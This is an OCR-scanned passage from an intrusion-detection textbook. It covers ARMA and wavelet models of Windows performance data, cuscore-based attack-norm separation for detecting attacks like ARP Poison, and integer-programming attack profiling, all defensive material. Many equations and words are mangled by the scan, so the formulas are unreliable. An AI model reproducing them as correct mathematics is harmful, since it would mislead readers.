changing variance[3]. To preparethe nonstationary time seriesdatafor the statistical modeling,
the data must be transformed into the stationary time series data by applying a logarithm,
differencing, detrending by taking residuals from a regression, and so on [3]. In general,
differencing allows the transformation of time series data with a stochastic trend to stationary
data, and detrending through taking residuals from a regression allows the transformation of
time series data with a deterministic trend to stationary data[3].

For the data variable of a given autocorrelation change attack characteristic, the attack
data model and the two normal use data models for the text editing and the web browsing,
respectively, are developed in the following steps.

1. For the attack data sample of the data variable in the training data set:

(a) If the time series data is determined nonstationary by plotting the data and perform-
ing stationarity tests [3], transform the time series data into the stationary data by
performing appropriate data transformation(s), including logarithm, differencing, and
detrending. For example, the following differencing is applied to the attack data of
Network Interface\Bytes Received/sec under the ARP Poison attack:

Vi = % — %10, (16.7)
where x; denotesthe original time seriesdata, and y; denotesthetransformed time series

data. This data variable has the autocorrel ation increase attack characteristic under the
ARP Poison attack as shown in Table 13.1.
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(b)

(©
(d)

(€

Fit the ARMA model with the order of (p, g) to the time series data or the transformed
time series data if the transformation is performed in Step 1a, using Statistica[4]. The
Autocorrelation Function (ACF) plot and the Partial Autocorrelation Function (PACF)
plot[2, 4] of thetime seriesdatacan be used to gaininsightsinto the order of the ARMA
model that fits to the data. Theinitial values of p and g can be determined accordingly.

Use the ARMA model from Step 1b to predict the time series data over time.

Compute the Mean Squared Error (MSE) of the predicted time series data from the
original time series data as follows:

1 < o
MSE = — t; (% — %)2, (16.8)

where x; represents the data observation at timet, and X, represents the predicted data
value at timet.

Verify the ARMA model with its autoregressive and moving average parameters us-
ing the Autocorrelation Function (ACF) plot and the Partial Autocorrelation Function
(PACF) plot of the time series data to see if the ACF and PACF plots agree with the
ARMA model. For example, thefollowingisthe ARMA (1, 2) model fitted to the trans-
formed attack data of Network Interface\Bytes Received/sec under the ARP Poison
attack:

yi = 0.1140y;_; + & — 0.7570&_; — 0.6599, _,. (16.9)

Figures 16.1 and 16.2 show the ACF plot and the PACF plot of the attack data.

Autocorrelation Function

\\ALPHAO02-VICTIM\Network Interface(Intel[R] PRO_1000 MT Network Connection - Packet
Scheduler Miniport)\Bytes Received/sec: D(-10)

(Standard errors are white-noise estimates)
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Figure 16.1 The Autocorrelation Function (ACF) plot of the attack data for Network Interface\Bytes
Received/sec under the ARP Poison attack.
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Partial Autocorrelation Function
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Figure 16.2 The Partial Autocorrelation Function (PACF) plot of the attack data for Network
Interface\ Bytes Received/sec under the ARP Poison attack.

(f)

(9)

The ACF plot in Figure 16.1 shows the exponential decay of positive spikes, while the
PACF plot in Figure 16.2 shows the oscillating decay of positive and negative spikes.
Thisis agreeable to the ARMA model of order (1, 2) with one positive autoregressive
(AR) coefficient and two negative moving average (MA) coefficients.

Repeat Steps 1(b)-1(d) with different values of p and q which vary from their initial
values until an ARMA model is found to produce a good fit to the data with a small
value of MSE.

If the transformation is performed in Step 1(a), the data model for the original time
series data is constructed using the ARMA model from Step 1(f). For example, the
following data model is constructed for the attack data of Network Interface\Bytes
Received/sec under the ARP Poison attack, using the ARMA model in Formula 16.9
and the differencing transformation in Formula 16.7, as follows:

Xt = Xt—10 + Wt (1610)
yi = 0.1140y;_; + & — 0.75708_; — 0.6599%; _». (16.11)

2. Repesat Step 1 but replace the attack data sample with the normal use data sample for the
text editing in the training data set to develop the text editing data model.

3. Repeat Step 1 but replace the attack data sample with the normal use data sample for the
web browsing in the training data set to develop the web browsing data model.

For example, Network Interface\ Bytes Received/sec has the autocorrelation increase (A+)
characteristic under the ARP Poison attack as shown in Table 10.2 and Table 13.1. Formulas
16.10 and 16.11 above define the attack model for this variable under the ARP Poison attack.
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For the text editing data model of this variable, the following differencing transformations are
first performed on the time series data of the text editing in the training data set before fitting
an ARMA mode:

Yt = Xt — Xt—32 (16.12)
Zt = Yt — Yt-30 (16.13)
ft = Zt — Zt_10. (1614)

The ARMA model fitted to the transformed text editing data, f;, is the following:

fi = —0.6867f;_1 + & — 0.5773a_1 (16.15)
For the web browsing data model of this variable, the following differencing transformations
are first performed on the time series data of the web browsing in the training data set before

fitting an ARMA model:

Ve =X — X — 32 (16.16)
Zt =Y — Y — 30. (1617)

The ARMA model fitted to the transformed web browsing data, z, is the following:

7, = 0.4788z_; + & + 0.991991e_; (16.18)

16.5 THE WAVELET-BASED MATHEMATICAL MODEL FOR THE
WAVELET FEATURE

Asillustrated in Chapter 11 through the example of the Haar wavelet, the following function,
f (x), whichisdefined by Formula11.4 in Chapter 11 and is repeated below as Formula 16.19,
is used to represent a data sample of g for all is:

fo) =Y ag(2x—i). (16.19)

Formulas 11.11 and 11.12, which are repeated below as Formulas 16.20 and 16.21, can be
used to transform the scaling functionsin Formula 16.19 into the wavel et functions at various
frequencies and a series of time locations along with the wavelet coefficient.

p(2x—i) = % [0 (2% —i)+ v (2x—i)] (16.20)
o (@ 1-1) = 2[p (2 x i)~y (2 )], (16.21)

Hence, f(x) can be defined using those wavelet functions and corresponding wavelet coef-
ficients. Formulas 11.9 and 11.10, which are repeated here as Formulas 16.22 and 16.23,
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are used to reconstruct the data sample using the wavelet coefficients from the wavelet
transform.

¢(2k‘1x _ i) _ (p(ZkX — i) +o (ka —i—= l) (16.22)
Y (2 —i) =@ (@) —i) —p(@x—i - 1) (16.23)

Different scaling functions and wavelet functions are used for the different wavelet trans-
forms along with different data reconstruction methods (see Chapter 11).

For the data variable involved in a given wavelet change attack characteristic, the attack
datamodel and two normal use datamodelsfor the two normal use activities, respectively, are
developed in the following steps.

1. For the attack data sample of the data variable in the training data set:

(@) Select awavelet transform from the Paul, DoG, Haar, Daubechies and Morlet wavel et
transforms, and apply the wavelet transform to the data sample.

(b) Initialize the target set of the wavelet coefficients to empty, and the original set of the
wavelet coefficients to include all the resulting wavelet coefficients from the wavelet
transform.

(c) Take out the wavelet coefficient with the largest absolute value from the original set of
the wavelet coefficients, and add thiswavel et coefficient to the target set of the wavelet
coefficients.

(d) Reconstruct the data sample using only the wavelet coefficients in the target set of the
wavelet coefficients.

(e) Compute the Mean Squared Error (MSE) of the reconstructed data sample from the
original data sample asfollows:

1 & o
MSE = — i;(xi —%)2, (16.24)

where x; represents the original data sample, and Xi represents the reconstructed data
sample.

(f) Plot thispair of the M SE value and the number of the wavelet coefficientsin the target
set as adata point in the MSE chart (see examplesin Figure 16.3).

(9) Repeat Steps 1(c)-1(f) until the curved line connecting the data pointsin the M SE chart
approximately levels off.

(h) Select the number of wavelet coefficients and the corresponding target set of wavelet
coefficients at the elbow point of the curved linein the M SE chart when the | eveling-off
occurs, because this target set of wavelet coefficients gives the best-fit data model to
the original data sample using the smallest number of the largest (in absolute value)
wavel et coefficients.

(i) Repesat Steps 1(a)—1(h) until the best-fit datamodels are selected for al the five wavel et
transforms.
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Figure16.3 TheMSE chartsfor developing awavelet-based attack datamodel of Process(_Total)\ Page
Faults/sec under the ARP Poison attack.
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Figure16.3 (Continued)

(j) Select the best-fit data model from the data models produced in Step 1(i) that givesthe
smallest MSE, and this data model is used as the attack data model.

2. Repesat Step 1 but replace the attack data sample with the normal use data sample for the
text editing in the training data set to develop the text editing data model.

3. Repeat Step 1 but replace the attack data sample with the normal use data sample for the
web browsing in the training data set to develop the web browsing data model.

Figures 16.3, 16.4 and 16.5 show the M SE charts produced to devel op the attack data model,
two normal use data models for the text editing and the web browsing, respectively, for the
wavel et change attack characteristic of Process(_Total)\ Page Faults/sec under the ARP Poison
attack, WDL-. Thisattack characteristic shownin Table11.1 and Table 13.1 indicatesthesignal
strength decrease of the DoG wavel et at the low frequency band. Asindicated in Figure 16.3,
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Figure16.4 TheMSE chartsfor developing awavel et-based normal use datamodel of Process(_Total)\
Page Faults/sec under the text editing norm.
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Figure16.4 (Continued)

the best-fit attack datamodel isthe DoG wavel et-based model with 32 wavel et coefficients and
the MSE value around 200. As indicated in Figure 16.4, the best-fit text editing data model
is the DoG wavel et-based model with 65 wavelet coefficients and the M SE value around 20.
Asindicated in Figure 16.5, the best-fit web browsing data model is the DoG wavel et-based
model with 64 wavel et coefficients and the M SE value around 40.

16.6 SUMMARY

This chapter describes the statistical and mathematical models that are used to develop the
attack data model, the text editing data model, and the web browsing data model for the
data variable involved in a given attack characteristic. Specificaly, various data features,
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Figure16.5 TheMSE chartsfor developing awavel et-based normal use datamodel of Process(_Total)\
Page Faults/sec under the web browsing norm.
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including the mean, autocorrelation, probability distribution, and wavel et inthetime-frequency
domain which are described in Part |11, require different kinds of data models to capture the
data features and represent the data characteristics in those data features. The sample av-
erage is used to represent a data characteristic in the mean feature. The empirica cumula-
tive density function is used to represent a data characteristic in the distribution feature. The
Box-Jenkins time series model is used to represent a data characteristic in the autocorrela
tion feature. The wavelet-based mathematical model is used to represent a data characteristic
in the wavelet feature. The attack and normal use data models are required in the cuscore-
based detection models for attack-norm separation in Chapter 17 to help the cuscore-based
detection models to achieve the better detection performance than the ANN technique for
signature recognition in Chapter 13 and the EWMA control charts for anomaly detection in
Chapter 14.
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Cuscore-based attack norm
separ ation models

The attack norm separation methodology aims at separating the effects of the attack data and
the normal use data in their mixture to enhance the performance of cyber attack detection.
Attack norm separation can be considered as a signal-noise separation problem if the normal
use data is considered as noise and the attack data is considered as the signal to detect. Many
signal processing techniques exist to perform noise cancellation and signal detection. This
chapter focuses on a specific technique, called the cumulative score (cuscore) [1, 2], which
is used to carry out the attack norm separation methodology. The attack and normal use data
models described in Chapter 16 are employed in the cuscore-based attack norm separation
models.

In Section 17.1, the cuscore chart is introduced. Section 17.2 describes the application of
the cuscore-based attack norm separation models, or simply called the cuscore models, to
cyber attack detection. Section 17.3 shows the detection performance of the cuscore models
in comparison with that of the ANN technique for signature recognition in Chapter 13 and the
EWMA control chart technique for anomaly detection in Chapter 14.

17.1 THE CUSCORE

In[1, 2], thefollowing statistical model is considered:
& = Q(ytv Xt7 0)7 (171)

wherey; and x; arethe observation valuesof thetwo random variablesat timet, 6 isan unknown
parameter capturing the relationship of y with x, ¢; isthe residual obtained by subtracting ¥;
fromy;., and ¥ is the predicted value of y; based on x; and 6. When 6 = 6, which is the true
valueof theunknown parameter, theresulting s;pSareawhite noise sequence, that is, asequence
of independently identically normally distributed random variables with the mean of zero and
thevariance of o2, Thus, therandom variables, 1, €5, . . ., &n, in thewhite noise sequence have

Secure Computer and Network Systems: Modeling, Analysisand Design  Nong Ye
© 2008 John Wiley & Sons, Ltd
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ajoint multivariate normal distribution with the joint probability density function as follows

(3l:

6 = o) = — 5 17.2
p(51,52,-~75n| — O)_We ) ( . )
whereg;o denotese; attimet when6 =6, . Thenatural loglikelihood, I (1, €2, . . ., enl0 = 6p),

is:

1 1\,
I(e1, 62, ..., nl0 = 60) = )2 <—§> 2 €0 = (271)”/2 252 ( tho) (17.3)

Note that ¢, depends on 6. Hence, I(g1, €2, ..., en) isafunction of 6. When 6 = 0, l(e1, &2,

., &n) should gain the maximum likelihood value, or 2(L£2-£0) — 0 where
al (81, E2y v vy £n|9 = 90) _ 1 1 n 38t0
30 N A Z 1o (27'[)“/2 02 ;8“) EIAN
(17.4)
The cumulative score (cuscore) is defined asfollows [1, 2]:
n
Qo= ) _ rotho. (17.5)
t=1
where
8Sto
to=——= 17.6
o = —= -~ (17.6)

If 6 = 6, thecuscore should remain zero or randomly fluctuate around zero dueto themodeling
error. Hence, the cuscore can be used to detect when 6 changes from 64 by monitoring when
the cuscore departs from zero not randomly but in a consistent manner.

17.2 APPLICATION OF THE CUSCORE MODELSTO CYBER
ATTACK DETECTION

To apply the cuscoreto cyber attack detection through attack norm separation, how attack data

and normal use data are mixed must first be defined. Assume the additive mixture of attack
data and normal use data as follows:

Yo = f(X) +09(x) + e, (17.7)

where f(x;) is the normal use datamodel, g(x) is the attack datamodel, and 6 = 6o = 0 when
no attack is present. The normal use data model and the attack datamodel can be defined using
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the statistical and mathematical methods described in Chapter 16. For the additive mixture,
the cuscoreis:

Qo= eudo = Y [% — F (x)1gx), (17.8)
t=1 t=1
because
e, = ¥t — F(X)lo=o (7.9

When 6 = 0, Qo should fluctuate around zero. When 6 # 0, [y; — f(x)] in Qo has the &l-
ement of g(x;) which is then correlated with g(x;) in Qg in Formula 17.8, making the Qg
values move upward or downward consistently, depending on the positive or negative sign of
[ye — f(x)]9(x)-

Notethat [y; — f(x)] in Qg actslike canceling the effect of the normal data use datain the
observed data, y;, which hasthe effect of the normal use data only when thereis no attack and
becomes the mixed attack and normal use data when an attack is present. The residual from
[yt — f(x)] isthen correlated with the attack data model through multiplication to detect the
presence of the attack defined by the given attack model. Hence, unlike anomaly detection
which can detect a wide range of large deviations from a given normal use data model, the
cuscore detection model detects a specific attack defined in the attack datamodel under agiven
normal use condition. To build an Intrusion Detection System (IDS) to protect atarget computer
and network system, the normal use data models covering a variety of normal use activities or
conditionsand theattack datamodel s covering thegiven attacksof interest canfirst bedefined as
describedin Chapter 16. Supposethat therearemnormal usedatamodel sand n attack datamod-
€ls, producing mn attack-norm combinations. A cuscore detection model is devel oped for each
of the mn attack-norm combinations. If a particular cuscore detection model detects an attack,
the detected attack is directly identified by knowing the specific attack model used in that cus-
coredetection model. Hence, the cuscore detection model isused not only for detection but al so
for identification of an attack, whereas the anomaly detection methodology allows only the de-
tection but not theidentification of an attack. Instead of running all mn cuscore detection models
simultaneously to monitor the presence of an attack, the current normal use condition can first
be identified using the information on system operation, e.g. which application is running, and
only n cuscore detection model sfor npossibleattacksof interest in combination withthe normal
use datamodel for that normal use condition need to run, monitoring the presence of an attack.

If there is a novel attack, for which no cuscore detection model for that specific attack is
available, the information from the cuscore detection models for specific known attacks can
still provide clues about the nature of the ongoing attack based on the classification of attack
behavior discussed in Part I11. Those clues will be useful to guide the further investigation
into the specific nature of the novel attack and ultimately define the attack data model so the
attack can be detected. Although the anomaly detection methodology can detect novel attacks
if they manifest large deviations from the normal use data model, anomaly detection suffers
in detection accuracy and earliness as discussed in Part V. To achieve ahigh level of detection
performance in detection accuracy and earliness, accurate attack data models are necessary.
Such accurate attack data models can be collected to cover avariety of known, specific attacks
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as our knowledge about attacks grows over time, especialy when new attacks appear and
then are identified to add new attack data models. The detection models based on the attack
norm separation methodology can be used in parallel with the detection models based on the
anomaly detection methodology to reap the benefits of both.

Thesignaturerecognition methodology issimilar to the attack norm separati on methodol ogy
inusing specific attack datamodelsto both detect and identify an attack. However, the signature
recognition methodology |acks the capability to handle the mixed attack and normal use data
asdiscussed in Part V.

In addition to the additive mixture, there are many other ways in which attack data and
normal use data can join together. For example, if the multiplicative mixture of attack dataand
normal use datais assumed as follows:

e = 0f (%)g(X) + &, (17.11)

and 6 = g = 1/ g(%) when no attack is present. The cuscore takes the following form:

Qo = Z; eitho = 2_; [y = Fx)] T0x0)gx), (17.12)

. - =
g0 =Y — F(X)0 = @ (17.13)
tio = f(X)9(x)16 = % (17.14)

When 6 = 0, Qp should fluctuate around zero; otherwise, the Qg values move upward or
downward consistently, depending on the positive or negative sign of [y; — f ()] f (x)g(X).

Giventheattack data, the normal use dataand the mixed attack and normal use datasamples,
the attack data model, the normal use data model and even the mixed attack-norm data model
can be defined. However, the mixture type of the attack data and the normal use datais till
unknown, and it is a challenge to determine how the attack data and the normal use data
are mixed together, even though the attack data model, the normal use data model, and the
mixed attack-norm data model are given. Nevertheless, the mixture type of the attack dataand
the normal use data must be given in order to derive the cuscore to first cancel the effect
of the normal use datain the mixed attack and normal use data and then detect the presence of
the attack in the residual data. Research is required to address the problem of identifying the
mixture type or model, given the attack data model, the normal use model, and the mixed
attack-norm data model.

17.3 DETECTION PERFORMANCE OF THE CUSCORE
DETECTION MODELS

The Windows performance objects data described in Chapter 7 is used to test the application
of the cuscore detection models to cyber attack detection. In order to compare the detec-
tion performance of the cuscore detection models in this chapter, the ANN-based signature
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recognition models described in Chapter 13 and the EWMA control chart-based anomaly de-
tection modelsdescribed in Chapter 14, thethreetechniques aretested using the samevariables
and their data which are involved in the attack characteristicsin Table 13.1. Specifically, two
cuscore detection models are developed for each attack characteristic in Table 13.1 for the
attack with that attack characteristic in combination with the text editing norm and the web
browsing norm, respectively.

For example, the ARP Poison attack has the autocorrelation increase (A+) characteristic
in Network Interface\Bytes Received/sec. The attack data model for this data variable is
developed using the attack data from Run 1 of the data collection, and is defined in Formulas
16.10and 16.11. Thetext editing datamodel is devel oped using thefirst half of thetext editing
datawith 300 observationsfrom Run 2 of the data collection, and isdefined in Formulas 16.12—
16.14. The web browsing data model is developed using the first half of the web browsing
data with 300 observations from Run 3 of the data collection, and is defined in Formulas
16.16-16.17. Since the mixture type or model of the attack data and the normal use data for
the variable is not known, a cuscore detection model using the attack data model and each of
the two normal use data models is developed based on the additive mixture model in Formula
17.7. The cuscore detection model based on the additive mixtureistested on the second half of
the normal use datawith 300 observations and the mixed attack and normal use datafrom Run
2 or Run 3 of the data collection, depending on which normal use data model is used in the
cuscore detection model. For agiven cuscore detection model, asignal thresholdis determined
by observing the cuscore values for the data observations in the testing data and selecting a
value that produces a small number of false dlarms and an early first hit. The description of
the false dlarms and thefirst hit is given in Chapter 13.

Figures 17.1 and 17.2 show the cuscore chartsfor the two cuscore detection modelsthat are
developed for the autocorrelation increase attack characteristic in Network Interface\Bytes
Received/sec under the ARP Poison attack. Each cuscore chart presents the cuscore val-
ues produced by a cuscore detection model for the data observations in the testing data.
The vertical line in Figure 17.1 and Figure 17.2 indicates when the attack begins. In both
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Figure17.1 Thecuscorechart for Network Interface\Bytes Received/sec under the ARP poison attack
with a mixture with the text editing norm.
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Figure17.2 Thecuscore chart for Network I nterface\ Bytes Received/sec under the ARP poison attack
with a mixture with the web browsing norm.

Figure 17.1 and Figure 17.2, the cuscore values start and continue to increase when the attack
begin. For the increase of the cuscore values triggered by the attack, the signal threshold is
used to signal adata observation as attack if the cuscore value of the data observation is greater
than the signal threshold. The cuscore model for the combination of the ARP Poison attack and
the text editing norm produces no false alarms and the first signal at the 7th data observation
of the mixed attack and normal use data. The cuscore model for the combination of the ARP
Poison attack and the web browsing norm produces no false alarms and the first hit at the 6th
data observation of the mixed attack and normal use data.

Dueto the time and resource constraints, only asmall subset of all the attack characteristics
summarized in Part 111 are tested using the cuscore detection models based on the additive
mixture. The cuscore detection models based on the additive mixture do not perform well on
al the data variables tested, although all the data variables manifest the attack characteristics
and the appropriate attack and normal use data models are developed and employed in the
cuscore detection models for attack detection. The data variables involved in the attack data
characteristicsin Table 13.1 are the examples but not all of the tested data variables on which
the cuscore detection model s based on the additive mixture performwell. For the datavariables
on which the cuscore detection models based on the additive mixture do not perform well, it
is possible that a different mixture type of the attack data and the normal use datais involved
in the mixed attack and normal use data.

For two cuscore detection models developed for each attack characteristic in Table 13.1,
their detection performance measures of false alarms and first hit are obtained. Table 17.1
shows the false alarms of each cuscore detection model. Table 17.2 shows thefirst hit of each
cuscore detection model for each attack characteristic. For each variable in each combination
of an attack activity and anormal use activity in Tables 17.1 and 17.2, the false dlarms and the
first hit of the cuscore detection model are either better than or the same asthose of the EWMA
control chart-based anomaly detection models and the ANN-based signature recognition
models.
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Table 17.3, which isthe same as Tables 13.4 and 14.3, compares the detection performance
of the cuscore detection models with that of the EWMA control charts and the ANN models.
As shown in Table 17.3, for each normal use activity in combination with each attack, the
cuscore detection models are better than the EWMA control charts and the ANN modelsin
both the false alarm and the first hit. The cuscore detection models produce only 22 false
alarmsin total for all the combinations of the attack and the normal use activities, whereasthe
EWMA control charts produce 1023 false alarmsin total and the ANN models produce 3641
false darmsin total. The Cuscore models have 1035 observations of detection delay in total,
whereas the EWMA control charts have 3761 observations of detection delay in total and the
ANN models have more than 8110 observations of detection delay in total (seethe description
of the detection delay in Chapter 13).

Hence, for those variablesin Table 13.1, the cuscore detection model s based on the additive
mixture produce much better detection performance in detection accuracy and earliness than
the EMWA control chartsfor anomaly detection and the ANN model sfor signaturerecognition.
Chapter 13 and Chapter 14 discuss the drawback of the anomaly detection methodology and
the signature recognition methodology in lack of handling the mixed attack-norm data and
dealing with advanced data features that manifest subtle attack characteristics. The cuscore
models and the attack norm separation methodology in general overcome the drawback of the
anomaly detection methodology and the signature recognition methodol ogy.

17.4 SUMMARY

This chapter introduces how the cuscore can be used to implement the attack norm separation
methodol ogy and shows the better detection performance of the cuscore detection modelsthan
that of the EWMA control charts for anomaly detection and the ANN models for signature
recognition. In summary, considering the following two points:

e the attack data and the normal use data are mixed together when an attack is present and
there is ongoing normal use activities at the same time on acomputer and network system,
and

e an attack has many sophisticated aspects as discussed in Part 111 and may manifest in more
subtle data features than the simple mean,

the following are important to achieve detection accuracy and earliness:

e extraction of various data features;

e investigation and discovery of attack characteristics in various data features to reveal not
only obvious attack characteristics such as mean shift but also subtle attack characteristics;
accurate definition of the attack data model and the normal use data model;

e appropriate handling of the mixed attack and normal use data, i.e., using the attack norm
separation methodology.

The above are employed in building the cuscore detection models which achieve much better
performance on the data variables in the attack characteristics shown in Table 13.1 than the
EWMA control chartsand the ANN models. Note that the cuscoreis only one of many possible
techniques to implement the attack norm separation methodol ogy.
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Although this chapter applies the cuscore detection models to monitor the Windows per-
formance objects data which is directly available on the Windows operating system, the cus-
core detection models can also be applied to monitor asset attribute data defined in the asset
protection-driven security paradigm in Chapter 3.
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Part VIl

Security Incident Assessment

Asdiscussed in Part |, a security incident on a computer and network system usually consists
of a series of events in a cause—ffect chain. Each event, which occurs at a particular time,
may manifest at several spatial locations of the computer and network system through several
attack data characteristics, respectively. As discussed in Part I1l and shown in Table 13.1,
many attack data characteristics are present during an attack. Each attack data characteristic
in Table 13.1 reflects one particular aspect of computer and network behavior at one particular
spatia location of the computer and network system that occurs at a particular time or a
particular temporal location. Hence, the attack signal from the detection model developed to
monitor and detect a given attack data characteristic, such as the cuscore detection model in
Chapter 17, captures only one symptom or aspect of an event in the cause—effect chain of a
security incident at one particular spatial location and one particular temporal location of the
cause—ffect chain.

To assess the security incident and understand its effects (including damages reflected in
changes of system state and performance) propagating throughout the system, it isimportant
to correlate the events of the security incident in its cause—effect chain, using the attack signals
from the detection models monitoring the attack data characteristics at various spatial and
tempora locations in the cause—effect chain. Chapter 18 describes an optimization method
of selecting an optimal set of attack data characteristics to allow the unique identification of
each attack. Chapter 18 also describes an attack profiling method of spatially and temporally
correlating the attack data characteristics of a given attack, covering various spatial and tem-
poral locations of a cause—effect chain of a security incident. Hence, the methods described in
Chapter 18 produce a comprehensive picture of the security incident in its cause—effect chain
for security incident assessment.

Secure Computer and Network Systems: Modeling, Analysisand Design  Nong Ye
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18

Optimal selection and correlation of
attack data characteristicsin attack
profiles

Inthischapter, an optimization method of selecting thesmallest set of attack datacharacteristics
that give a unique combination of attack data characteristics for each attack isfirst presented.
The unique vector of attack data characteristicsfor each attack allowsthe unique identification
of each attack. An attack profiling method of spatially and temporally correlating the attack
data characteristics in the cause—effect chain of the attack is then described.

18.1 INTEGER PROGRAMMING TO SELECT AN OPTIMAL SET
OF ATTACK DATA CHARACTERISTICS

Many attack data characteristics are revealed and summarized in Part 111. Table 13.1 lists only
some examples of those attack data characteristics. As shown in Table 13.1, some attack data
characteristics are common to several attacks. For example, the attack data characteristic
of change to the unimodal symmetric distribution (DUS) in LogicaDisk(C:)\Avg. Disk
Bytes/Write is shared by the Distributed DoS and the Rootkit attacks. The attack data charac-
teristic of decreased signal strength in the Derivative of Gaussian wavelet at the low frequency,
WDL-, in Network Interface\ Packets/sec, is common among the Distributed DoS, FTP Buffer
Overflow, Security Audit, and Vulnerability Scan attacks. Asdiscussed in Part 111, some attack
data characteristics are also unique to each attack.

Notethat Table 13.1 listsonly one attack datacharacteristic for each datavariable. However,
there are multiple attack data characteristics for some data variables in Table 13.1, although
the additional attack data characteristicsare not listed in Table 13.1. For example, the variable,
Network Interface\ Packets/sec, hasthe wavel et-based attack characteristic of decreased signal
strength in the Derivative of Gaussian wavelet transform at the low frequency band, WDL —
whichisshownin Table 13,1, and the autocorrel ation increase attack characteristic, A+ which
isnot shown in Table 13.1, both of which appear under the Vulnerability Scan attack. The two

Secure Computer and Network Systems: Modeling, Analysisand Design  Nong Ye
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330 Optimal selection and correlation of attack data characteristics

attack data characteristics of this variable under the attack condition manifest in two different
data features which may appear at different times or temporal locations in the cause—effect
chain of the attack. Hence, multiple attack data characteristics of the same data variable as
separate attack data characteristics can be added to the entire set of the attack characteristics
for agiven attack.

It is not practical to monitor all the attack data characteristics discussed in Part 111 due to
computational costs. It is preferable to have the smallest set of attack data characteristics that
give a unique combination of attack data characteristics for each attack to alow the unique
identification of each attack. Thisoptimization problemisaddressed by formulating and solving
an Integer Programming problem. The introduction to Integer Programming (1P) can be found
in [1]. Let 55 = 1 if characteristic i is selected in the optimal solution to identify attack
j; sj =0, otherwise. Let x;; = 1if characteristici is present for attack j in the set of discovered
attack data characteristics; x;; = 0, otherwise. Hence, 5;s denote the selection of the attack
data characteristics in the optimal solution, and x;; s denote the attack data characteristics that
have been revealed. The IP problem is formulated as follows:

Minimize )" Y"s; (18.1)
i

Subjectto  sjxij+(L—s;)=1 foraliand j (18.2)
Yolsi—si[>0  foralj ] (183)
i
Y 5>0 forall i and j. (18.4)
i

Formula 18.1 is to minimize the total number of the selected attack data characteristics. For-
mula 18.2 ensures that x;; = 1if §; = 1. If 5; = 0, it does not matter what x;; is. Hence,
Formula 18.2 ensures that the selected attack characteristics must come from the set of the
revealed attack data characteristics. Formula 18.3 makes sure that any two combinations of
the selected attack data characteristics for two attacks, respectively, are not the same in the
optimal solution. That is, the combination of the selected attack data characteristics for each
attack in the optimal solution must be unique for that attack. Formula 18.4 makes the combi-
nation of the selected attack data characteristicsfor each attack contain at least one attack data
characteristic. That is, the set of the selected data characteristics for each attack must not be
empty. Searching for the optimal set of the selected attack characteristics from avery large set
of all the uncovered attack data characteristics using the above IP problem formulation may
be computationally intensive. Heuristic search methods|[ 1], such as genetic algorithms, can be
used to find the optimal solution or anear optimal solution.

18.2 ATTACK PROFILING

The optimal solution to the IP problem in Section 18.1 gives a unique combination or vector
of attack data characteristics for each attack to uniquely identify it. The attack data character-
istics in this unique vector for a given attack manifest the data characteristics of the attack at
various spatial and temporal locations in the cause—effect chain of the attack progression and
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WPH+ and A+ in Network
Interface\Packers/sec

(A) The victim computer
constantly receives spoofed
ARP relies containing the

(A) The victim computer receives mapping of IP addresses of
(an)ARF' request ffom the attacker] (A) The victim computer all computers on the network (A) The victim computer

at the attacking computer, asking ——] responds to the ARP request ——»| (0 the MAC address of the [ __,| sends data packets to some
for the MAC address for the IP with the MAC address attacking computer, and other computers on the
address of the victim computer keeps updating the ARP network

table with the false
information

T

oy (S) CPUis busy processing S) Cache has information
reduced significanty frequent network requests i\e)eded for repeated network (S) The ARP table has the false
requests MAC address

(P) Network data is routed to the
attacker who alters the data
before forwarding it to the
intended destination

(P) The data transmission rate of
each network process slows
down due to decreased share of the
network bandwidth

(P) The processing rate of all
processes slows down due to (P) Page faults decrease

their decreased share of CPU time
WDL-in Process(_Total)\
Page Faults/sec

I:I denotes an event with (A) for an activity, (S) for a state change, and (P) for a performance change

O denotes an attack data characteristic

Figure 18.1 Anillustration of attack data characteristics attached to events in the cause—effect chain
of the ARP Poison attack.

propagation. Attack profiling [2] correlates the attack data characteristics at various spatial
locations in their temporal order along the cause—effect chain of the attack in the following
steps:

1. Definetheevents of the attack and the links of the eventsin a cause—effect chain. The events
include attack activities and changes of system state and performance. For example, Figure
18.1 shows the major events of the ARP Poison attack along the cause—effect chain of this
attack that occur on the victim computer. Note that the cause—effect rel ationships of activity,
state change and performance change events actually form a cause—effect network instead
of achain, but we retain the term cause—effect chain for easy understanding.

2. ldentify the event with which each attack data characteristic is associated. Figure 18.1
illustrates three of many attack data characteristics for the ARP Poison attack, WPH-+
and A+ in Network Interface\ Packets/sec and WDL — in Process(_Total)\ Page Faults/sec,
aong with their associations with some specific eventsin the cause—effect chain of the ARP
Poison attack.

The above steps produce the cause—effect chain of the attack with the attack data characteristics
to identify the events at various spatial and temporal locations. When the attack occurs, the at-
tack signal sfrom the detection model smonitoring those attack datacharacteristicsindicate how
the attack is progressing over time and affecting vari ous resources and processes on computers
and networks. The progressing attack signalsfor an ongoing attack give security analystsaclear
picture of what activitiesand their effects (including changesin resource state and process per-
formance) have happened to computers and networks. They hel p security analysts diagnosethe
attack, and help them plan appropriate, efficient actions to control the attack, recover the sys-
tem, and correct system vulnerabilities. Mathematical techniques, such as Bayesian networks,
have been used to represent the cause—effect chain of an attack and predict the occurrence
probability of future attack events based on the evidence of the preceding events [3].
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18.3 SUMMARY

This chapter presents the Integer Programming formulation of an optimization problem to
select the smallest set of attack data characteristics which produce a unique combination or
vector of attack data characteristics for each attack. The optimal solution to this problem
alows the unique attack identification at the lowest overhead by monitoring the smallest
number of the attack data characteristics through the detection models, such as the cuscore
detection models. The attack profiling method of spatially and temporally correlating the attack
data characteristics for a given attack along the cause—effect chain is also described. Attack
profiling helps security analysts gain a clear, comprehensive assessment of a security incident
using the attack signals from the detection models monitoring the attack data characteristics
at various spatial and temporal locations of the cause—effect chain for a given attack. Such
a security incident assessment is necessary to accurately and efficiently diagnose the attack,
plan appropriate, quick response actions to the attack, recover the system, and correct system
vulnerabilities to prevent the future intrusion of the same or similar attack.
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